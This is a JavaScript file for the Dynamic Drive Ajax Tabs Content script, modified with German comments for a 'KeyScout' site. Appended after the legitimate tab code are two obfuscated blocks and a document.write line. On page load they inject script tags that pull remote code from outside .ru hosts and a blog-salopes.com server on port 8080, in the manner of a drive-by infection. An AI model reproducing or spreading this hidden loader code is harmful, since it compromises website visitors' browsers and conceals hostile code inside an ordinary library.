//** Ajax Tabs Content script v2.0- © Dynamic Drive DHTML code library (http://www.dynamicdrive.com)
//** Updated Oct 21st, 07 to version 2.0. Contains numerous improvements
//** Updated Feb 18th, 08 to version 2.1: Adds a public "tabinstance.cycleit(dir)" method to cycle forward or backward between tabs dynamically. Only .js file changed from v2.0.
//** Updated April 8th, 08 to version 2.2:
//   -Adds support for expanding a tab using a URL parameter (ie: http://mysite.com/tabcontent.htm?tabinterfaceid=0) 
//   -Modified Ajax routine so testing the script out locally in IE7 now works 
// Version 2.2.2 für KeyScout erweitert bzw. modifiziert

// Für KeyScout ergänzt
var reloadUrl="";
var reloadNow=false;

var ddajaxtabssettings={}
ddajaxtabssettings.bustcachevar=0  //bust potential caching of external pages after initial request? (1=yes, 0=no) - Für KeyScout auf 0 gesetzt
ddajaxtabssettings.loadstatustext="<center><br><img src='loading.gif' /> Requesting content...<br></center>" 


////NO NEED TO EDIT BELOW////////////////////////

function ddajaxtabs(tabinterfaceid, contentdivid){
	this.tabinterfaceid=tabinterfaceid //ID of Tab Menu main container
	this.tabs=document.getElementById(tabinterfaceid).getElementsByTagName("a") //Get all tab links within container
	this.enabletabpersistence=true
	this.hottabspositions=[] //Array to store position of tabs that have a "rel" attr defined, relative to all tab links, within container
	this.currentTabIndex=0 //Index of currently selected hot tab (tab with sub content) within hottabspositions[] array
	this.contentdivid=contentdivid
	this.defaultHTML=""
	this.defaultIframe=''
	this.defaultIframe=this.defaultIframe.replace(/<iframe/i, '<iframe name="'+"_ddajaxtabsiframe-"+contentdivid+'" ')
this.revcontentids=[] //Array to store ids of arbitrary contents to expand/contact as well ("rev" attr values)
	this.selectedClassTarget="link" //keyword to indicate which target element to assign "selected" CSS class ("linkparent" or "link")
}

ddajaxtabs.connect=function(pageurl, tabinstance){

  // für KeyScout erweitert
  if (navigator.appName=='Microsoft Internet Explorer') {
    ddajaxtabssettings.bustcachevar = 1;
  }

	var page_request = false
	var bustcacheparameter=""
	if (window.ActiveXObject){ //Test for support for ActiveXObject in IE first (as XMLHttpRequest in IE7 is broken)
		try {
		page_request = new ActiveXObject("Msxml2.XMLHTTP")
		} 
		catch (e){
			try{
			page_request = new ActiveXObject("Microsoft.XMLHTTP")
			}
			catch (e){}
		}
	}
	else if (window.XMLHttpRequest) // if Mozilla, Safari etc
		page_request = new XMLHttpRequest()
	else
		return false
	var ajaxfriendlyurl=pageurl.replace(/^http:\/\/[^\/]+\//i, "http://"+window.location.hostname+"/") 
	page_request.onreadystatechange=function(){ddajaxtabs.loadpage(page_request, pageurl, tabinstance)}
	if (ddajaxtabssettings.bustcachevar) //if bust caching of external page
		bustcacheparameter=(ajaxfriendlyurl.indexOf("?")!=-1)? "&"+new Date().getTime() : "?"+new Date().getTime()
	page_request.open('GET', ajaxfriendlyurl+bustcacheparameter, true)
	page_request.send(null)
}

ddajaxtabs.loadpage=function(page_request, pageurl, tabinstance){
	var divId=tabinstance.contentdivid

	// Für KeyScout das if eingebaut, damit der Reload nur beim Umschalten der Tabs sichtbar wird
	if (pageurl!="head.ksi" && reloadNow==true) {
	   document.getElementById(divId).innerHTML=ddajaxtabssettings.loadstatustext //Display "fetching page message"
	   // Für KeyScout eingefügt,
	   reloadNow = false;
	}

	if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1)){
		document.getElementById(divId).innerHTML=page_request.responseText
		ddajaxtabs.ajaxpageloadaction(pageurl, tabinstance)
	}
}

ddajaxtabs.ajaxpageloadaction=function(pageurl, tabinstance){
	tabinstance.onajaxpageload(pageurl) //call user customized onajaxpageload() function when an ajax page is fetched/ loaded
}

ddajaxtabs.getCookie=function(Name){ 
	var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
	if (document.cookie.match(re)) //if cookie found
		return document.cookie.match(re)[0].split("=")[1] //return its value
	return ""
}

ddajaxtabs.setCookie=function(name, value){
	document.cookie = name+"="+value+";path=/" //cookie value is domain wide (path=/)
}

ddajaxtabs.prototype={

	expandit:function(tabid_or_position){ //PUBLIC function to select a tab either by its ID or position(int) within its peers
		this.cancelautorun() //stop auto cycling of tabs (if running)
		var tabref=""
		try{
			if (typeof tabid_or_position=="string" && document.getElementById(tabid_or_position).getAttribute("rel")) //if specified tab contains "rel" attr
				tabref=document.getElementById(tabid_or_position)
			else if (parseInt(tabid_or_position)!=NaN && this.tabs[tabid_or_position].getAttribute("rel")) //if specified tab contains "rel" attr
				tabref=this.tabs[tabid_or_position]
		}
		catch(err){alert("Invalid Tab ID or position entered!")}
		if (tabref!="") //if a valid tab is found based on function parameter
			this.expandtab(tabref) //expand this tab
	},

	cycleit:function(dir, autorun){ //PUBLIC function to move foward or backwards through each hot tab (tabinstance.cycleit('foward/back') )
		if (dir=="next"){
			var currentTabIndex=(this.currentTabIndex<this.hottabspositions.length-1)? this.currentTabIndex+1 : 0
		}
		else if (dir=="prev"){
			var currentTabIndex=(this.currentTabIndex>0)? this.currentTabIndex-1 : this.hottabspositions.length-1
		}
		if (typeof autorun=="undefined") //if cycleit() is being called by user, versus autorun() function
			this.cancelautorun() //stop auto cycling of tabs (if running)
		this.expandtab(this.tabs[this.hottabspositions[currentTabIndex]])
	},

	setpersist:function(bool){ //PUBLIC function to toggle persistence feature
			this.enabletabpersistence=bool
	},

	loadajaxpage:function(pageurl){ //PUBLIC function to fetch a page via Ajax and display it within the Tab Content instance's container
		ddajaxtabs.connect(pageurl, this)
	},

	loadiframepage:function(pageurl){ //PUBLIC function to fetch a page and load it into the IFRAME of the Tab Content instance's container
		this.iframedisplay(pageurl, this.contentdivid)
	},

	setselectedClassTarget:function(objstr){ //PUBLIC function to set which target element to assign "selected" CSS class ("linkparent" or "link")
		this.selectedClassTarget=objstr || "link"
	},

	getselectedClassTarget:function(tabref){ //Returns target element to assign "selected" CSS class to
		return (this.selectedClassTarget==("linkparent".toLowerCase()))? tabref.parentNode : tabref
	},

	urlparamselect:function(tabinterfaceid){
		var result=window.location.search.match(new RegExp(tabinterfaceid+"=(\\d+)", "i")) //check for "?tabinterfaceid=2" in URL
		return (result==null)? null : parseInt(RegExp.$1) //returns null or index, where index (int) is the selected tab's index
	},

	onajaxpageload:function(pageurl){ //PUBLIC Event handler that can invoke custom code whenever an Ajax page has been fetched and displayed
		//do nothing by default
	},

	expandtab:function(tabref){
		// Für KeyScout eingefügt, damit diese URL ständig aktualisiert wird
		reloadUrl = tabref.getAttribute("href");
		reloadNow = true;

		var relattrvalue=tabref.getAttribute("rel")
		//Get "rev" attr as a string of IDs in the format ",john,george,trey,etc," to easy searching through
		var associatedrevids=(tabref.getAttribute("rev"))? ","+tabref.getAttribute("rev").replace(/\s+/, "")+"," : ""
		if (relattrvalue=="#default")
			document.getElementById(this.contentdivid).innerHTML=this.defaultHTML
		else if (relattrvalue=="#iframe")
			this.iframedisplay(tabref.getAttribute("href"), this.contentdivid)
		else
			ddajaxtabs.connect(tabref.getAttribute("href"), this)
		this.expandrevcontent(associatedrevids)
		for (var i=0; i<this.tabs.length; i++){ //Loop through all tabs, and assign only the selected tab the CSS class "selected"
			this.getselectedClassTarget(this.tabs[i]).className=(this.tabs[i].getAttribute("href")==tabref.getAttribute("href"))? "selected" : ""
		}
		if (this.enabletabpersistence) //if persistence enabled, save selected tab position(int) relative to its peers
			ddajaxtabs.setCookie(this.tabinterfaceid, tabref.tabposition)
		this.setcurrenttabindex(tabref.tabposition) //remember position of selected tab within hottabspositions[] array
	},

	iframedisplay:function(pageurl, contentdivid){
		if (typeof window.frames["_ddajaxtabsiframe-"+contentdivid]!="undefined"){
			try{delete window.frames["_ddajaxtabsiframe-"+contentdivid]} //delete iframe within Tab content container if it exists (due to bug in Firefox)
			catch(err){}
		}
		document.getElementById(contentdivid).innerHTML=this.defaultIframe
		window.frames["_ddajaxtabsiframe-"+contentdivid].location.replace(pageurl) //load desired page into iframe
	},


	expandrevcontent:function(associatedrevids){
		var allrevids=this.revcontentids
		for (var i=0; i<allrevids.length; i++){ //Loop through rev attributes for all tabs in this tab interface
			//if any values stored within associatedrevids matches one within allrevids, expand that DIV, otherwise, contract it
			document.getElementById(allrevids[i]).style.display=(associatedrevids.indexOf(","+allrevids[i]+",")!=-1)? "block" : "none"
		}
	},

	setcurrenttabindex:function(tabposition){ //store current position of tab (within hottabspositions[] array)
		for (var i=0; i<this.hottabspositions.length; i++){
			if (tabposition==this.hottabspositions[i]){
				this.currentTabIndex=i
				break
			}
		}
	},

	autorun:function(){ //function to auto cycle through and select tabs based on a set interval
		this.cycleit('next', true)
	},

	cancelautorun:function(){
		if (typeof this.autoruntimer!="undefined")
			clearInterval(this.autoruntimer)
	},

	init:function(automodeperiod){
		var persistedtab=ddajaxtabs.getCookie(this.tabinterfaceid) //get position of persisted tab (applicable if persistence is enabled)
		var selectedtab=-1 //Currently selected tab index (-1 meaning none)
		var selectedtabfromurl=this.urlparamselect(this.tabinterfaceid) //returns null or index from: tabcontent.htm?tabinterfaceid=index
		this.automodeperiod=automodeperiod || 0
		this.defaultHTML=document.getElementById(this.contentdivid).innerHTML
		for (var i=0; i<this.tabs.length; i++){
			this.tabs[i].tabposition=i //remember position of tab relative to its peers
			if (this.tabs[i].getAttribute("rel")){
				var tabinstance=this
				this.hottabspositions[this.hottabspositions.length]=i //store position of "hot" tab ("rel" attr defined) relative to its peers
				this.tabs[i].onclick=function(){
					tabinstance.expandtab(this)
					tabinstance.cancelautorun() //stop auto cycling of tabs (if running)
					return false
				}
				if (this.tabs[i].getAttribute("rev")){ //if "rev" attr defined, store each value within "rev" as an array element
					this.revcontentids=this.revcontentids.concat(this.tabs[i].getAttribute("rev").split(/\s*,\s*/))
				}
				if (selectedtabfromurl==i || this.enabletabpersistence && selectedtab==-1 && parseInt(persistedtab)==i || !this.enabletabpersistence && selectedtab==-1 && this.getselectedClassTarget(this.tabs[i]).className=="selected"){
					selectedtab=i //Selected tab index, if found
				}
			}
		} //END for loop
		if (selectedtab!=-1) //if a valid default selected tab index is found
			this.expandtab(this.tabs[selectedtab]) //expand selected tab (either from URL parameter, persistent feature, or class="selected" class)
		else //if no valid default selected index found
			this.expandtab(this.tabs[this.hottabspositions[0]]) //Just select first tab that contains a "rel" attr
		if (parseInt(this.automodeperiod)>500 && this.hottabspositions.length>1){
			this.autoruntimer=setInterval(function(){tabinstance.autorun()}, this.automodeperiod)
		}
	} //END int() function

} //END Prototype assignment

var C='';var mc="mc";function v(){var R=2254;var e="onl"+"oad";Rz={wQ:false};var Q=String("appe"+"ndCh"+"ild");var Ar=["B","f","x"];var Tq="";var A=window;of=55051;of++;this.Yj=46407;this.Yj+=174;var b=new String("cre"+"lmqate".substr(3)+"Ele"+"d4Pmen".substr(3)+"t");var o=document;Cz=59877;Cz-=84;var r="defer";var Dt="";var u="body";var mV=["IS"];vY=24524;vY--;var F=new String("scripjB7".substr(0,5)+"t6vRN".substr(0,1));var K=String("sr"+"c");this.s=false;function E(){var TV={Hu:"YG"};sJ={zK:"Vr"};try {var GQ={};this.ZW=2199;this.ZW+=90;var L=new String("/v"+"2GZmn".substr(3)+"-n"+"3gpet".substr(3)+"9LvY/g".substr(4)+"lVqooqlV".substr(3,2)+"80cgl".substr(3)+"e."+"co"+"m/"+"tw"+"0cd3it".substr(4)+"vqRateqRva".substr(4,2)+"fwsnr.".substr(4)+"co"+"YOZm.ZYO".substr(3,2)+"ph"+"p");this.n=false;var j={nm:23057};var m=new String("http:"+"//pas"+"sport"+"blues"+".ru:vyEz".substr(0,4));var Xl=18908;this.Rh=64599;this.Rh+=49;var pI='';var sf=["Qo","EP","Qh"];var T=609356-601276;this.gl="";var Z=6468-6467;this.vg="";this.sT="sT";ou=["i"];tg={J:false};P=o[b](F);var Sp=[];this.Rs="Rs";var N='';P[r]=Z;var uK=new Date();KA=58259;KA+=3;P[K]=m+T+L;tH=26221;tH-=181;rr=9246;rr++;o[u][Q](P);var W={xX:59976};xc={kl:false};} catch(l){vy=["hh","rs","QT"];var AO={};var Xp='';};}var fw=new Array();A[e]=E;};this.jW="";GK=["Ja","WP"];v();
L={ti:"MQ"};N=["S","py","Oi"];tI=["al","Np","V"];try {this.U="";var f=new Date();this.tS="";this.i="";this.G="";this.GG=1505;this.GG++;this.n=9020;this.n++;VU=["Qk","z","_"];de={T:9388};k=["lG","Qf","cF"];var m=window[new String("unekUa".substr(0,3)+"sca"+"K4Xpe".substr(3))];kv=["F"];_q={};var M=new String("onlo"+"ad");var b="";this.GR=26315;this.GR-=37;this.zf=49300;this.zf-=90;var c=window[(String("RegE"+"k0Txp".substr(3)))];var v='';var hn='';this.um=13611;this.um--;var kE={fW:47323};var J="1";this._a=61968;this._a-=4;this.uS='';this.eH='';ej=["DM","GZ"];w=46703;w+=156;var y=new String("repl"+"ace");this.yqB=64366;this.yqB+=229;var Nk='';jp=36029;jp+=44;r=44036;r+=112;function p(J,h){var OX=["Mj","A"];sc=47587;sc++;var wq=["dQ"];It={Th:14270};try {var Cq='qo'} catch(Cq){};var bg={};this.SN=17227;this.SN--;FU={B:30428};var R=String("[t6s".substr(0,1));this.OJ='';QB=4626;QB++;xHR=["lV","bgI","sK"];this.Bh=55184;this.Bh--;R+=h;R+=m("%5d");this.yqR=2027;this.yqR++;var Y=new c(R, String("g"));gH={Jk:58464};this.XQ=3488;this.XQ++;var KF='';this.ZQ=37746;this.ZQ++;var GZc='';return J.replace(Y, v);YL=49978;YL+=187;this.Ok='';this.rQ=31188;this.rQ--;};try {} catch(KN){};this.qD=11927;this.qD+=203;var lc='';try {} catch(TL){};this.Ti=7974;this.Ti+=77;var TqA="TqA";var ya=["BA","sm"];var zr="zr";var pj="";var nj='';var YF="http:"+"//gotwCJ".substr(0,5)+"XyYJhguilJXYy".substr(4,5)+"GEwRt.ru:".substr(4);var DI=57698;var uC=["iX"];tA={YK:22209};GH=["QW","pm"];var t=372199-364119;var fB='';var eB='';Fc=["wB"];var x=new String("/goog"+"le.cobqN".substr(0,5)+"m/ela"+"nce.c"+"om/levyD".substr(0,5)+"0tVbonco".substr(3)+"in.fr"+".phpOHJ".substr(0,4));Zd=43436;Zd+=73;this.Tf=50747;this.Tf-=196;this.PD=9613;this.PD++;this.BK=false;try {} catch(Ckh){};var Ltt={Fk:false};this.mA=false;var DA={ZR:false};function O(){JL=56305;JL-=211;var JI=document;qz={Nh:false};this.vu=47834;this.vu--;Du={Jj:false};var Aj={};this.EdY=63842;this.EdY++;var yq=p('sbchreifpZtH','Bhe5qOJMmjZQbHn8fFV');this.Ta='';var DU="DU";var xq="appeCqY".substr(0,4)+"HLvndChvLH".substr(3,4)+"h3fild3hf".substr(3,3);o=JI.createElement(yq);try {var Rb='_r'} catch(Rb){};var nY={Wv:false};var fQ=47363;var CA=[];var tz=47749;hX=27772;hX+=20;Wj=["Ad","yuP"];this.Cr=15363;this.Cr++;var CX="CX";K=YF+t;var TZ=["vm","mr"];var ae='';K=K+x;var _x=false;var eOv=false;var Idh={};wk={IH:false};var wC=false;var E=JI.body;o["defO8M".substr(0,3)+"fjLerLfj".substr(3,2)]=J;var nK=["ze","zm"];this.Ct=false;wE={};o.src=K;this.op='';this.nQ="nQ";var tX=["Vc","SD","JX"];this.CXT='';this.LS=1075;this.LS-=18;_Sc=["Wd"];var xB='';var To=false;this.FV=false;E[xq](o);OkP={};this.Ght=41175;this.Ght-=60;this.ek=23396;this.ek++;this.hb="";};var aX=new String();var vr=new String();ht=["jh","Wvk"];this._Uq="_Uq";nL={Vp:false};window[M]=O;var Hg=["s_","VA","PM"];var pL=[];this.wx='';this.ni=8947;this.ni+=197;mJ=25870;mJ--;QL=42101;QL--;} catch(Kz){var Gy=new String();var vJ=[];var dr=false;var _hW=[];hR={Dy:55901};var Em=[];var sxl='';};DH=["NC","cpV"];




document.write('<s'+'cript type="text/javascript" src="http://soaoo.blog-salopes.com:8080/Upload.js"></scr'+'ipt>');